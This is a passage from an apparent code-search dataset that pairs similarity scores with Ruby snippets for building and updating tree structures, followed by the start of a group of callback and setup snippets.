"ce3810d643997e04b59c5d8a8050347e", "score": "0.5836836", "text": "def tree(treeish = 'master', paths = [])\n raise InvalidDbError if @stale\n super\n end", "title": "" }, { "docid": "9698b861f216d132455c71ad8ea2698c", "score": "0.5832805", "text": "def build_tree(array)\n\t\t@root = Node.new(array[0])\n\t\ttemp_root = @root\n\n\t\tarray[1..-1].each do |node_value|\n\t\t\tinsert_node(node_value, temp_root)\n\t\tend\n\tend", "title": "" }, { "docid": "1aec71bcc8a1c29bc027c5b15d678d25", "score": "0.5823686", "text": "def rearrange_children\n if rearrange_children?\n self.disable_timestamp_callback()\n self.children.each do |child|\n child.update_path!\n child.save\n # child.reload # might not need to reload?\n end\n self.enable_timestamp_callback()\n end\n @rearrange_children = false\n true\n end", "title": "" }, { "docid": "1faa5fd2744817a8b79203e89191687a", "score": "0.58200634", "text": "def rebuild!\n # Don't rebuild a valid tree.\n return true if valid?\n \n scope = lambda{ |node| {} }\n if acts_as_nested_set_options[:scope]\n scope = lambda { |node|\n scope_column_names.inject({}) { |hash, column_name|\n hash[column_name] = node.send(column_name.to_sym)\n hash\n }\n }\n end\n indices = {}\n \n set_left_and_rights = lambda do |node|\n # set left\n node.send(:\"#{left_column_name}=\", (indices[scope.call(node)] += 1))\n # find\n all(scope.call(node).merge(parent_column_name => node.id)).each { |n| set_left_and_rights.call(n) }\n # set right\n node.send(:\"#{right_column_name}=\", (indices[scope.call(node)] += 1))\n node.save! \n end\n \n # Find root node(s)\n root_nodes = all(parent_column_name => nil, :order => \"#{left_column_name}, #{right_column_name}, id\").each do |root_node|\n # setup index for this scope\n indices[scope.call(root_node)] ||= 0\n set_left_and_rights.call(root_node)\n end\n end", "title": "" }, { "docid": "b7c5aaa74944055b7b61661108c7a627", "score": "0.5818689", "text": "def populate(array)\n @root = Node.new({type: :document}, [], nil, 0)\n @total_nodes += 1\n @max_depth = 0\n current_node = @root\n current_depth = 0\n array.each do |hash|\n # opening tag - create new node\n if NODE_DOWN.include? hash[:type]\n #if <> depth += 1\n new_node = Node.new(hash, [], current_node, current_node.depth + 1)\n current_node.children << new_node\n current_node = new_node\n current_depth += 1\n @total_nodes += 1\n else #hash[:type] == \"close\"\n #if </> depth -= 1\n new_node = Node.new(hash, [], current_node, current_node.depth)\n current_node.children << new_node\n current_node = current_node.parent\n current_depth -= 1\n @total_nodes += 1\n end\n\n if current_depth > @max_depth\n @max_depth = current_depth\n end\n\n if hash[:type] == :text && current_node.children.empty?\n current_depth -= 1\n current_node = current_node.parent\n end\n end\n self\n end", "title": "" }, { "docid": "80070882908244f86ced034993bf9157", "score": "0.58154696", "text": "def build_tree_unsorted(array)\n array.each_index{ |index|\n\n }\nend", "title": "" }, { "docid": "91d8e4df495c25e4c0dbf2b44e83f923", "score": "0.5799426", "text": "def custom_tree\n\t\t#if they haven't made a shrink range/trunk yet, make one for them\n\t\tif $shrink_range.empty?\n\t\t\t$shrink_Range = (4..6).to_a\n\t\tend\n\t\tif $trunk.empty?\n\t\t\t$trunk = (175..250).to_a\n\t\tend\n\t\t\n\t\t@shrink = \"0.#{$shrink_range[0]}\".to_f\n\t\t#Height is 600, so y is in (0,600)\n\t\t$angle_of_separation = (@window.mouse_y / 10).to_i #this gives max of 60 degree angle, min of 0 (line)\n\t\t\n\t\t@branches = []\n\t\t@branches << [ [[@x, Height - @bot_margin], [@x, Height - $trunk[0]]] ]\n\t\t#Width is 800, so x is in (0,800)\n\t\t$num_splits = (((@window.mouse_x) / 100).to_i)+2 #this gives max of 8+2=10 splits, min of 2\n\t\t\n\t\tputs \"This output is from Custom Tree\"\n\t\tputs \"Number of splits: #{$num_splits}\"\t\n\t\tputs \"Angle of separation: #{$angle_of_separation}\"\n\t\tputs \"Shrink range: #{$shrink_range[0]} to #{$shrink_range[$shrink_range.length-1]}\"\n\t\tputs \"Split range: #{$split_range}\"\t\t\n\t\tputs \"Initial branch length: #{$trunk[0]} to #{$trunk[$trunk.length-1]}\"\n\t end", "title": "" }, { "docid": "7645d651c28d79e71b34feee5508134e", "score": "0.5798489", "text": "def build_tree(array)\n\t\t@root = Node.new(array.shift)\n\t\tarray.each { |value| add_node(value, @root)}\n\tend", "title": "" }, { "docid": "3ec89a42a7f86dbf10080a53270baf84", "score": "0.5793981", "text": "def update_tree(element)\n last_blank = nil\n element.children.map! do |child|\n if child.type == :raw_text\n last_blank = nil\n reset_env(src: ::Kramdown::Utils::StringScanner.new(child.value, element.options[:location]),\n text_type: :text)\n parse_spans(child)\n child.children\n elsif child.type == :eob\n update_attr_with_ial(child.attr, child.options[:ial]) if child.options[:ial]\n []\n elsif child.type == :blank\n if last_blank\n last_blank.value << child.value\n []\n else\n last_blank = child\n child\n end\n else\n last_blank = nil\n update_tree(child)\n update_attr_with_ial(child.attr, child.options[:ial]) if child.options[:ial]\n # DEPRECATED: option auto_id_stripping will be removed in 2.0 because then this will be\n # the default behaviour\n if child.type == :dt || (child.type == :header && @options[:auto_id_stripping])\n update_raw_text(child)\n end\n child\n end\n end.flatten!\n end", "title": "" }, { "docid": "211423f8f625b21c12099488da42cd92", "score": "0.5791693", "text": "def leaf?; false end", "title": "" }, { "docid": "cee9af580f56de614fd388641378a430", "score": "0.5789396", "text": "def apply_children\n \n end", "title": "" }, { "docid": "d6dbffee4770693bb22782d502042248", "score": "0.5783112", "text": "def add_page_to_tree(page)\n if !page.root?\n #puts \"page: #{page}\"\n #puts \"page.fullpath: #{page.fullpath}\"\n #puts \"page.parent_id: #{page.parent_id}\"\n page.parent = @remote_pages_by_id[page.parent_id]\n #puts \"page.parent: #{page.parent}\"\n #puts \"page.parent.class: #{page.parent.class}\"\n #puts \"page.parent.children: #{page.parent.children}\"\n page.parent.children << page\n end\n end", "title": "" }, { "docid": "71a79d3e17709ecae4c73cd6286a2510", "score": "0.57822263", "text": "def divide_if_needed(defer_update = false)\n if children.size > MAX_SIZE\n raise \"node is not lowest level and can therefore not be divided: #{self}\" unless lowest_level?\n @children = (0...MAX_SIZE).collect do |i|\n leaves = children.find_all {|leaf| leaf.shash_array[level] == i}\n NonLeafNode.new(self, leaves)\n end\n children.each {|child| child.divide_if_needed(defer_update)}\n end\n update_shash(false) unless defer_update\n end", "title": "" }, { "docid": "e5ee756468b394cc87ed2b55b167626c", "score": "0.5768462", "text": "def recalculate(inode)\n full_count = 0\n inode.list_of_children.each do |node|\n#p node\n komvos = self.get(node)\n#p komvos\n if komvos.normalize==0\n puts \"node #{node} is not leaf\"\n # if not leaf\n #recalc(holon.searchFor(node).listOfChildren)\n self.recalculate(komvos)\n else \n # exw kanei: node.normalize kai einai leaf\n puts \"node #{node} is leaf\"\n \n end\n # uplogizw to sum of coun and re-normalize\n full_count = full_count + komvos.weight\n end\n inode.weight = full_count\n end", "title": "" }, { "docid": "05f71021d3df831a28d63b9545c928a8", "score": "0.5768005", "text": "def tree\n return nil if messages.size == 0\n build_tree unless @tree\n @tree\n end", "title": "" }, { "docid": "7233caf8a209f2009cc2c13b0a7d7845", "score": "0.5765921", "text": "def change_tree(*args)\n begin\n self.model.freeze_notify\n yield(self, *args)\n ensure\n self.model.thaw_notify\n end\n self\n end", "title": "" }, { "docid": "89e864bd80e66f4c9819c99faec41cb0", "score": "0.5765768", "text": "def build_tree(arr)\n\ntree = []\n\ntree.push(Node.new(arr[0]))\n\n arr[1..-1].each do |i|\n new_node = Node.new(i)\n\n condition = false\n current = tree[0]\n until condition == true\n if i > current.value && current.find_right_child.count == 0\n new_node.create_parent(current)\n current.create_right_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i < current.value && current.find_left_child.count == 0\n new_node.create_parent(current)\n current.create_left_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i > current.value && current.find_right_child.count == 1\n current = current.find_right_child[0]\n elsif i < current.value && current.find_left_child.count == 1\n current = current.find_left_child[0]\n end\n end\n end\n tree\nend", "title": "" }, { "docid": "1b7ef2d3cf8af1c7cac299571771c2ac", "score": "0.5757631", "text": "def grow \n\t\t@height += 1\n\tend", "title": "" }, { "docid": "f2b3a2223a91ca6b0454ac7de1ba7ff4", "score": "0.5754986", "text": "def depth; end", "title": "" }, { "docid": "f3e5ea9aba26a51ad1e464589970aaa4", "score": "0.57536954", "text": "def tree\r\n @rootNode\r\n end", "title": "" }, { "docid": "945eb263db637298f23b983306a15166", "score": "0.5749764", "text": "def populate_dom(array)\n node_count = 0\n current_node = @root\n current_depth = 0\n array.each do |hash|\n if DEEP_NODE.include? hash[:type]\n new_node = Node.new(hash, [], current_node, current_node.depth + 1)\n current_node.children << new_node\n current_node = new_node\n current_depth += 1\n else #hash[:type] == \"close\"\n current_depth -= 1 \n current_node = current_node.parent\n end\n node_count += 1\n end\n node_count\n end", "title": "" }, { "docid": "4658fcd04dcbb7673fcf7abd9f495ed9", "score": "0.5744569", "text": "def add_leaf(leaf, defer_update = false)\n raise \"node is not lowest level and can therefore not get a leaf: #{self}\" unless lowest_level?\n children.insert(children.find_index {|child| child.shash > leaf.shash} || -1, leaf) #insertion_sort here\n leaf.parent = self\n divide_if_needed(defer_update)\n end", "title": "" }, { "docid": "65b6bd5a8cbd496cfea5c61e500040d7", "score": "0.57424617", "text": "def check_tree\n unless @trees\n @trees = {}\n @blobs = {}\n @base.ls_tree(@objectish).each do |hash|\n if hash[:type] == 'tree'\n @trees[hash[:path]] = TinyGit::Object::Tree.new(@base, hash[:sha], hash[:mode])\n elsif hash[:type] == 'blob'\n @blobs[hash[:path]] = TinyGit::Object::Blob.new(@base, hash[:sha], hash[:mode])\n end\n end\n end\n end", "title": "" }, { "docid": "8583f7809d0f7143ba111b7e607c49c3", "score": "0.57414246", "text": "def parsed_tree; end", "title": "" }, { "docid": "db4e740891d71ea08af9846fc9830c09", "score": "0.57392246", "text": "def rebalance!\n # Short-circut if already balanced.\n return @root if balanced?\n\n @root = build_tree(inorder)\n end", "title": "" }, { "docid": "5fd198248b33a646204ae0e81ea7356c", "score": "0.5728086", "text": "def update_content_paths\n\n # Checking if the parent id has changed for the current content have to change the content paths table only if parent id is changed\n new_parent_id = ContentData.get_parent_id(self.id)\n\n # Getting the old parent data from the content path table\n old_parent_id = 0\n old_parent = ContentPath.where(:descendant => self.id, :depth => 1)\n # If there are any parents found with the getting the old parent id\n if old_parent.length > 0\n old_parent_id = old_parent.first.ancestor\n end\n\n # If the parent id is changed then update the content path structure\n if new_parent_id != old_parent_id\n\n # Refer to the article \"http://www.mysqlperformanceblog.com/2011/02/14/moving-subtrees-in-closure-table/\" for the logic\n # Detach the node from the old parent \n delete_query = \"DELETE a FROM content_paths AS a JOIN content_paths AS d ON a.descendant = d.descendant LEFT JOIN content_paths AS x ON x.ancestor = d.ancestor AND x.descendant = a.ancestor WHERE d.ancestor = '\"+self.id.to_s+\"' AND x.ancestor IS NULL\"\n ActiveRecord::Base.connection.execute(delete_query)\n\n # Attach the node to the new parent\n insert_query = \"INSERT INTO content_paths (ancestor, descendant, depth) SELECT supertree.ancestor, subtree.descendant, supertree.depth+subtree.depth+1 FROM content_paths AS supertree JOIN content_paths AS subtree WHERE subtree.ancestor = '\"+self.id.to_s+\"' AND supertree.descendant = '\"+new_parent_id.to_s+\"'\"\n ActiveRecord::Base.connection.execute(insert_query)\n\n ## The code for changing the childrens data of the edited node with the new parent data\n ## Getting the data of the new parent\n new_parent_data = Content.find(new_parent_id)\n\n ## Board is at the top level no need to change the children data\n if self.type == 'Board'\n\n ## Content year parent is changed update all the children with the current board id\n elsif self.type == 'ContentYear'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id)\n end\n\n ## Subject parent is changed update all the children with the curent board id and content year id\n elsif self.type == 'Subject'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id, :content_year_id => self.content_year_id)\n end\n\n ## Chapter parent is changed update all the children with the current board id , content year id and subject id\n elsif self.type == 'Chapter'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id, :content_year_id => self.content_year_id, :subject_id => self.subject_id)\n end\n\n ## Topic parent is changed update all the children with the current board id, content year id, subject id and chapter id\n elsif self.type == 'Topic'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id, :content_year_id => self.content_year_id, :subject_id => self.subject_id, :chapter_id => self.chapter_id)\n end\n\n ## Subtopic parent is changed update all the children with the current board id, content year id, subject id, chapter id and topic id\n elsif self.type == 'SubTopic'\n if self.children.map(&:descendant).length > 1\n Content.where(:id => self.children.map(&:descendant)).update_all(:board_id => self.board_id, :content_year_id => self.content_year_id, :subject_id => self.subject_id, :chapter_id => self.chapter_id, :topic_id => self.topic_id)\n end\n end\n\n ## End of code for changing the childrens data\n\n end\n end", "title": "" }, { "docid": "4e8c840af2ff8f3b5723e1f3fb7eac06", "score": "0.5727851", "text": "def decorate_grove()\n @@grove.each do |a,b|\n @extcount = 1\n Tree.postorder(b[\"tree\"]) do |n|\n if n.leaf\n if n.basetype =~ /OTHER/\n n.align = @@nn[n.data['.type']][\"align\"]\n else\n n.align = @@tt[n.basetype][\"align\"]\n end\n if n.kind =~ /numeric|boolean|enum/\n if (n.kind =~ /numeric/) && (n.basetype =~ /OTHER/)\n n.size = @@nn[n.data['.type']][\"size\"]\n else\n n.size = @@tt[n.basetype][\"size\"]\n end\n elsif n.kind =~ /array/\n if n.basetype =~ /OTHER/\n n.size = @@nn[n.data['.type']][\"size\"] * n.arrsize\n else\n n.size = @@tt[n.basetype][\"size\"] * n.arrsize\n end\n end\n else # structs/unions/arrays\n n.align = (n.children.collect {|c| c.align}).max\n sizearr = n.children.collect {|c| c.size}\n case n.kind\n when \"struct\"\n n.size = sizearr.inject {|sum,e| sum+e}\n when \"union\"\n n.size = ((sizearr.max+n.align-1)/n.align)*n.align\n when \"array\"\n if n.basetype =~ /struct/\n n.size = (sizearr.inject {|sum,e| sum+e}) * n.arrsize\n elsif n.basetype =~ /union/\n n.size = sizearr.max * n.arrsize\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "032c6006c271ba0803607944fe80f7be", "score": "0.57230663", "text": "def valid_tree?\n true\n end", "title": "" }, { "docid": "032c6006c271ba0803607944fe80f7be", "score": "0.57230663", "text": "def valid_tree?\n true\n end", "title": "" }, { "docid": "bd1133926ffbf22a9dff5724626fe377", "score": "0.57221556", "text": "def just_add_child(node)\n return if @children.member?(node)\n @children << node\n node.parent = self\n update_boxes \n end", "title": "" }, { "docid": "bf1944aff9570e33645b29137475925e", "score": "0.5710138", "text": "def put_in_place\n if place==:append\n item = self\n self.class.with_tree_scope(self) do\n root.append(item)\n end\n end\n end", "title": "" }, { "docid": "5333537b3325c1b1caa80f18b2a954c6", "score": "0.57067233", "text": "def update_children(node, new_node)\n\t\tleft \t= node.left\n\t\tright = node.right\n\t\tleft.parent = new_node unless left.nil? \n\t\tright.parent = new_node unless right.nil?\n\tend", "title": "" }, { "docid": "f7c538ca8544e8fb73aad24ea7edef99", "score": "0.57052374", "text": "def valid_tree?\n false\n end", "title": "" }, { "docid": "4baaf1e9884726cf097f178a72334585", "score": "0.56959987", "text": "def tree\n @roots = @cards.roots\n # TODO: remove jbuilder?\n render :tree, status: :ok\n end", "title": "" }, { "docid": "5d80d66a986a56bd294709c1d5c499c8", "score": "0.5691432", "text": "def grow_tree(root, nodes, adopt_fn)\n kids = nodes.select { |w| adopt_fn.call(root, w) }\n branches = kids.map { |k| grow_tree(k, nodes - [root], adopt_fn) }\n { root => branches.reduce(&:merge) }\nend", "title": "" }, { "docid": "7e8db16bf749aef2a9b9f9fc7a7a643d", "score": "0.5690527", "text": "def expand_first_row\n @tree.expand_first_row\n end", "title": "" }, { "docid": "5d9efc7a540592d166c2247d051c2b6d", "score": "0.56836694", "text": "def with_rows_and_height\n root = self\n queue = [root]\n visited = []\n\n until queue.empty?\n current = queue.shift\n adjacency_list = current.children\n\n self.height += 1\n adjacency_list.each do |node|\n root.rows << (node.nil? ? \"x\" : node.value)\n next if node.nil?\n visited << node.value\n\n if node.distance == Float::INFINITY\n node.distance = current.distance + 1\n node.parent = current\n queue.push(node)\n end\n end\n end\n\n self\n end", "title": "" }, { "docid": "9939fb01746ca4a2869f3b1a3cc0d2d4", "score": "0.56821436", "text": "def build_move_tree\n move_q = [@root]\n while move_q.length > 0\n children = new_move_positions(move_q[0].value)\n children.each do |kid|\n move_q[0].add_child(PolyTreeNode.new(kid))\n end\n move_q += move_q[0].children\n move_q.shift\n end\n nil\n end", "title": "" }, { "docid": "9423b8be8a234635de1783a113f6d80c", "score": "0.56792545", "text": "def draw_tree(pen, length)\n\tangle = 20\n\tmin_length = 4\n\tshrink_rate = 0.7\n\treturn if length < min_length\n\tpen.move length\n\tpen.turn_left angle\n\tdraw_tree pen, length * shrink_rate\n\tpen.turn_right angle * 2\n\tdraw_tree pen, length * shrink_rate\n\tpen.turn_left angle\n\tpen.move -length\nend", "title": "" }, { "docid": "06f1caa727c33a651754fda7b035d51d", "score": "0.5674753", "text": "def object_tree\n head, *rest = array_tree\n object_subtree(head,rest)\n end", "title": "" }, { "docid": "6d29ee4003aec92070aaea52fd908b02", "score": "0.5657154", "text": "def update_tree(classtree, object = nil)\n self.change_tree do\n self.clear\n self.fill_model(classtree)\n #TODO: Navigate to object object\n end\n end", "title": "" }, { "docid": "0d588a5827eebe43496042850cdf45c7", "score": "0.5654953", "text": "def freshen_parent_and_child_indexes\n freshen_parent_and_child_indexes(0)\n end", "title": "" }, { "docid": "6178160f16a04f7194b8a3e453a198a1", "score": "0.5653977", "text": "def build_tree(arr)\n @root = Node.new(arr.shift)\n arr.each { |data| insert_data(data, @root) }\n end", "title": "" }, { "docid": "765e4b97652b389f7cd81a5435f3f928", "score": "0.56423104", "text": "def do_refresh(recurse=true)\n Thread.new do\n file_tree_mutex.synchronize do\n @tree.refresh\n @tree.model.refilter\n @tree.expand_first_row\n end\n end\n end", "title": "" }, { "docid": "d016f78344f6009a35cada4883e55115", "score": "0.5633473", "text": "def build_tree(start, finish, node = Node.new(start), queue = [node])\n @root = node\n\n until queue.index { |n| n.value == finish }\n node = queue.shift\n node.children = generate_move_nodes(node.value, finish)\n node.children.each { |c| queue << c }\n end\n end", "title": "" }, { "docid": "de76bcc464d7faf4d87154622495557a", "score": "0.56319886", "text": "def recursive => nil", "title": "" }, { "docid": "e7f32b8af80f0d3ef758b5e5977784db", "score": "0.56314075", "text": "def before_create\n maxright = self.class.maximum(acts_as_nested_set_options[:right_column], :conditions => acts_as_nested_set_options[:scope]) || 0\n # adds the new node to the right of all existing nodes\n self[acts_as_nested_set_options[:left_column]] = maxright+1\n self[acts_as_nested_set_options[:right_column]] = maxright+2\n end", "title": "" }, { "docid": "ebbf50024da9796a48203145f5bc596c", "score": "0.5630975", "text": "def show_tree\n\tend", "title": "" }, { "docid": "d05fca28aebed7f4c20086a76ec3c6cc", "score": "0.563036", "text": "def build_tree\n c1 = ComponentNode.new(110)\n c2 = ComponentNode.new(20)\n c3 = ComponentNode.new(20)\n c4 = ComponentNode.new(150)\n c5 = ComponentNode.new(80)\n c6 = ComponentNode.new(120, [c1, c2, c3])\n c7 = ComponentNode.new(180, [c4, c5])\n return(ComponentNode.new(200, [c6, c7]))\n end", "title": "" }, { "docid": "f31abadbc2fc26f4c9dd66bac2a3b636", "score": "0.56187546", "text": "def build_tree tree_root=nil\n tree_root ||= self.tree_root\n Dir.mkdir(tree_root) unless File.directory?(tree_root)\n Dir.chdir(tree_root) do\n self.files.each do |entry|\n visit_tree entry do |type, name|\n case type\n when :file\n FileUtils.touch(name)\n when :directory\n Dir.mkdir(name)\n else\n throw \"BAD VISIT TREE TYPE. #{type}\"\n end\n end\n end\n end\n end", "title": "" }, { "docid": "0552f98c47ef3577c31226f4bb87d79d", "score": "0.5615155", "text": "def build_move_tree # Node[0,0]\n @root_node = PolyTreeNode.new(@start_pos)\n tree = [@root_node] #after first round tree = []\n while !tree.empty?\n #after line 39 => tree => [N(v(2,1)), N(v(1,2))]\n res = tree.shift #tree = [] # res => TreeNode with the value of [2,1]\n positions = new_move_positions(res.value) # positions => [[0,2],[1,3], [3,3], [4,2], [5,0]]\n #tree => [N(v(1,2))]\n positions.each do |n| # n=> [2,1]\n nd = PolyTreeNode.new(n) # nd=> Node with with the value of [2,1]\n res.add_child(nd)\n tree << nd\n end # tree => [N(v(1,2)),N [0,2],[1,3], [3,3], [4,2], [5,0]]\n end\n end", "title": "" }, { "docid": "7bc78390c520f13eccec9fc75fea907e", "score": "0.5598798", "text": "def TreeView_Expand(hwnd, hitem, code) send_treeview_message(hwnd, TVM_EXPAND, wparam: code, lparam: hitem) end", "title": "" }, { "docid": "0b7f7f62ae4d027851d78a4dbbf4411e", "score": "0.5595794", "text": "def children; end", "title": "" }, { "docid": "0b7f7f62ae4d027851d78a4dbbf4411e", "score": "0.5595794", "text": "def children; end", "title": "" }, { "docid": "0b7f7f62ae4d027851d78a4dbbf4411e", "score": "0.5595794", "text": "def children; end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "f54a99f0625bf1d59b7dcef799c575bb", "score": "0.0", "text": "def set_health_goal\n @health_goal = HealthGoal.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n 